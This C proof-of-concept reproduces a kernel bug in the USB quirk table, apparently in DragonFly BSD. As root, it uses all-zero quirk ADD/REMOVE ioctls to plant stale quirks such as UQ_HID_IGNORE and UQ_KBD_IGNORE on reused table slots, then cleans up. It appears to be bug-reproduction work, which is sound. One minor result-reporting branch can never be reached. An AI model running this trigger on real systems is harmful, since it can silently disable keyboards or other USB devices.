DF-5380 / quirk_alias.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 | /* * DF-5380 PoC - usb_quirk_get_entry() all-zero special case aliases the last * table slot (USB_DEV_QUIRKS_MAX-1) and the allocation path never clears * quirks[], so: * * Scenario B ("stale quirk on reallocated slot"): * 1. USB_DEV_QUIRK_ADD with vid=pid=lo=hi=0 parks quirk "UQ_HID_IGNORE" * in slot 383 (the reserved all-zero scratch). The slot still LOOKS * free because (vid|pid|lo|hi)==0. * 2. Fill every remaining free slot with real dynamic entries. The last * real entry lands in slot 383 WITHOUT clearing quirks[]. * 3. USB_DEV_QUIRK_GET on slot 383 now shows a REAL vid/pid carrying the * never-requested "UQ_HID_IGNORE". * * Scenario A ("all-zero ADD/REMOVE aliases a live entry"): * 4. After slot 383 holds a real entry, an all-zero ADD appends a quirk * to that real entry, and an all-zero REMOVE strips quirks from it. * * Run as root (ADD/REMOVE require SYSCAP_NODRIVER). Cleans up after itself. */ #include <sys/ioccom.h> #include <sys/types.h> #include <stdint.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> /* must match sys/bus/u4b/usb_ioctl.h exactly */ struct usb_gen_quirk { uint16_t index; uint16_t vid; uint16_t pid; uint16_t bcdDeviceLow; uint16_t bcdDeviceHigh; uint16_t reserved[2]; char quirkname[64 - 14]; }; #define USB_DEV_QUIRK_GET _IOWR('Q', 0, struct usb_gen_quirk) #define USB_QUIRK_NAME_GET _IOWR('Q', 1, struct usb_gen_quirk) #define USB_DEV_QUIRK_ADD _IOW ('Q', 2, struct usb_gen_quirk) #define USB_DEV_QUIRK_REMOVE _IOW ('Q', 3, struct usb_gen_quirk) #define USB_DEV_QUIRKS_MAX 384 #define USB_SUB_QUIRKS_MAX 8 static int fd; static int quirk_get(uint16_t idx, struct usb_gen_quirk *q) { memset(q, 0, sizeof(*q)); q->index = idx; return (ioctl(fd, USB_DEV_QUIRK_GET, q)); } static int quirk_add(uint16_t vid, uint16_t pid, uint16_t lo, uint16_t hi, const char *name) { struct usb_gen_quirk q; memset(&q, 0, sizeof(q)); q.vid = vid; q.pid = pid; q.bcdDeviceLow = lo; q.bcdDeviceHigh = hi; snprintf(q.quirkname, sizeof(q.quirkname), "%s", name); return (ioctl(fd, USB_DEV_QUIRK_ADD, &q)); } static int quirk_remove(uint16_t vid, uint16_t pid, uint16_t lo, uint16_t hi, const char *name) { struct usb_gen_quirk q; memset(&q, 0, sizeof(q)); q.vid = vid; q.pid = pid; q.bcdDeviceLow = lo; q.bcdDeviceHigh = hi; snprintf(q.quirkname, sizeof(q.quirkname), "%s", name); return (ioctl(fd, USB_DEV_QUIRK_REMOVE, &q)); } static void dump_entry(int y) { struct usb_gen_quirk q; int x; for (x = 0; x != USB_SUB_QUIRKS_MAX; x++) { if (quirk_get(y * USB_SUB_QUIRKS_MAX + x, &q) != 0) { printf(" entry[%d].sub[%d]: GET failed: %s\n", y, x, strerror(errno)); return; } if (x == 0) printf(" entry[%d]: vid=0x%04x pid=0x%04x lo=0x%04x hi=0x%04x\n", y, q.vid, q.pid, q.bcdDeviceLow, q.bcdDeviceHigh); if (strcmp(q.quirkname, "UQ_NONE") != 0) printf(" entry[%d].sub[%d]: %s\n", y, x, q.quirkname); } } /* entry is free iff vid==0 and all 8 sub-quirks are UQ_NONE */ static int entry_free(int y) { struct usb_gen_quirk q; int x; for (x = 0; x != USB_SUB_QUIRKS_MAX; x++) { if (quirk_get(y * USB_SUB_QUIRKS_MAX + x, &q) != 0) return (-1); if (q.vid != 0 || strcmp(q.quirkname, "UQ_NONE") != 0) return (0); } return (1); } int main(void) { struct usb_gen_quirk q; int y, y0, nfill, k, rc, fail = 0; uint16_t lastvid; fd = open("/dev/usbctl", O_RDONLY); if (fd < 0) { fprintf(stderr, "open /dev/usbctl: %s\n", strerror(errno)); return (1); } /* 0. sanity: quirk ioctl handler must be live */ memset(&q, 0, sizeof(q)); q.index = 0; if (ioctl(fd, USB_QUIRK_NAME_GET, &q) != 0 || strcmp(q.quirkname, "UQ_NONE") != 0) { fprintf(stderr, "USB_QUIRK_NAME_GET failed (usb_quirk loaded?)\n"); return (1); } printf("[+] quirk ioctl handler live, name[0]=%s\n", q.quirkname); /* 1. find first free slot */ y0 = -1; for (y = 300; y != USB_DEV_QUIRKS_MAX; y++) { if (entry_free(y) == 1) { y0 = y; break; } } if (y0 < 0) { fprintf(stderr, "no free slot found (table full?)\n"); return (1); } nfill = USB_DEV_QUIRKS_MAX - y0; /* slots y0..383 */ lastvid = 0xA000 + nfill - 1; printf("[+] first free slot=%d, free slots=%d (filling vid 0x%04x..0x%04x)\n", y0, nfill, 0xA000, lastvid); /* 2. Scenario B: all-zero ADD parks UQ_HID_IGNORE in scratch slot 383 */ rc = quirk_add(0, 0, 0, 0, "UQ_HID_IGNORE"); printf("[+] all-zero ADD UQ_HID_IGNORE -> rc=%d (%s)\n", rc, rc ? strerror(errno) : "ok"); if (rc != 0) fail |= 1; /* 3. fill every free slot with real entries */ for (k = 0; k != nfill; k++) { rc = quirk_add(0xA000 + k, 0x0001, 0x0000, 0xFFFF, "UQ_CFG_INDEX_1"); if (rc != 0) { printf("[-] real ADD 0x%04x failed: %s\n", 0xA000 + k, strerror(errno)); fail |= 2; break; } } printf("[+] added %d real entries; dumping slot 383:\n", nfill); dump_entry(383); /* 4. verify the stale quirk rode along on the real entry */ { int found_stale = 0, found_real = 0; for (y = 0; y != USB_SUB_QUIRKS_MAX; y++) { if (quirk_get(383 * 8 + y, &q) != 0) break; if (strcmp(q.quirkname, "UQ_HID_IGNORE") == 0) found_stale = 1; if (strcmp(q.quirkname, "UQ_CFG_INDEX_1") == 0) found_real = 1; } if (q.vid == lastvid && found_stale && found_real) { printf("[+] SCENARIO_B_REPRODUCED: slot 383 holds real " "vid=0x%04x with STALE UQ_HID_IGNORE + UQ_CFG_INDEX_1\n", lastvid); } else { printf("[-] SCENARIO_B_NOT_REPRODUCED (vid=0x%04x " "stale=%d real=%d)\n", q.vid, found_stale, found_real); fail |= 4; } } /* 5. Scenario A: all-zero ADD aliases the LIVE entry at slot 383 */ rc = quirk_add(0, 0, 0, 0, "UQ_KBD_IGNORE"); printf("[+] all-zero ADD UQ_KBD_IGNORE on live table -> rc=%d (%s)\n", rc, rc ? strerror(errno) : "ok"); dump_entry(383); { int found_alias = 0; for (y = 0; y != USB_SUB_QUIRKS_MAX; y++) { if (quirk_get(383 * 8 + y, &q) != 0) break; if (strcmp(q.quirkname, "UQ_KBD_IGNORE") == 0) found_alias = 1; } if (q.vid == lastvid && found_alias) { printf("[+] SCENARIO_A_REPRODUCED: all-zero ADD appended " "UQ_KBD_IGNORE to LIVE entry vid=0x%04x\n", lastvid); } else { printf("[-] SCENARIO_A_NOT_REPRODUCED (vid=0x%04x alias=%d)\n", q.vid, found_alias); fail |= 8; } } /* 6. all-zero REMOVE strips the alias quirk from the live entry */ rc = quirk_remove(0, 0, 0, 0, "UQ_KBD_IGNORE"); printf("[+] all-zero REMOVE UQ_KBD_IGNORE -> rc=%d (%s)\n", rc, rc ? strerror(errno) : "ok"); /* 7. cleanup: remove everything we added */ for (k = 0; k != nfill; k++) { quirk_remove(0xA000 + k, 0x0001, 0x0000, 0xFFFF, "UQ_HID_IGNORE"); quirk_remove(0xA000 + k, 0x0001, 0x0000, 0xFFFF, "UQ_CFG_INDEX_1"); } quirk_remove(0, 0, 0, 0, "UQ_HID_IGNORE"); quirk_remove(0, 0, 0, 0, "UQ_CFG_INDEX_1"); quirk_remove(0, 0, 0, 0, "UQ_KBD_IGNORE"); for (y = y0; y != USB_DEV_QUIRKS_MAX; y++) { if (entry_free(y) != 1) { printf("[-] CLEANUP_FAILED at slot %d:\n", y); dump_entry(y); fail |= 16; break; } } if (!(fail & 16)) printf("[+] cleanup verified: slots %d..383 all free again\n", y0); close(fd); printf("[*] result: %s (fail mask 0x%x)\n", (fail & 0x1f) ? "INCOMPLETE" : ((fail & 4) || (fail & 8)) ? "NOT_REPRODUCED" : "REPRODUCED", fail); return ((fail & 0x1f) ? 2 : 0); } |